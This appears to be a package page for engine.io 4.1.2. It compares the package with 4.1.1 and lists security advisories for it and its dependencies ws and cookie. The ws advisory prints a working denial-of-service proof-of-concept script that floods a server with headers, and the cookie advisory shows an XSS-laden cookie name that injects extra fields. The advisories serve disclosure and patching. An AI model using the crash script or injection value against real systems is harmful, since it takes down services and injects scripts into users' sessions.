Engine.IO is a foundational library for building real-time, bidirectional communication, particularly known as the engine behind Socket.IO. Versions 4.1.1 and 4.1.2 are relatively close, sharing the same core dependencies like ws for WebSocket handling, cors for Cross-Origin Resource Sharing, debug for logging, and engine.io-parser for message encoding/decoding. Developers relying on these core functionalities should experience similar behavior across both versions.
The key difference lies in the updated dist metadata. Version 4.1.2 has a slightly larger unpacked size (94796 bytes) compared to 4.1.1 (93816 bytes). This might indicate minor code changes, potentially bug fixes, performance improvements, or updated internal documentation within the library. However, without explicit release notes, the exact nature of these changes is difficult to determine. The release date is also drastically different, with 4.1.1 being released in February 2021 and 4.1.2 in January 2022. This alone indicates a good amount of time was invested in updating the library, so while the changes may seem minor on the surface, there could be a lot under the hood changing the library.
For developers, upgrading from 4.1.1 to 4.1.2 is generally recommended due to the potential for bug fixes and improvements. While the changes might not be drastic, staying on the latest version within the same major release line (4.x.x) is good practice for maintaining a stable and secure application. As always, it's wise to review any available changelogs or release notes and perform testing to ensure compatibility with your specific implementation before deploying the update. The continued use of the same dependencies demonstrates the project's commitment to established, reliable packages for core functionality, ensuring a stable environment for developers.
All the vulnerabilities related to the version 4.1.2 of the package
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.
A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name, path, and domain.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.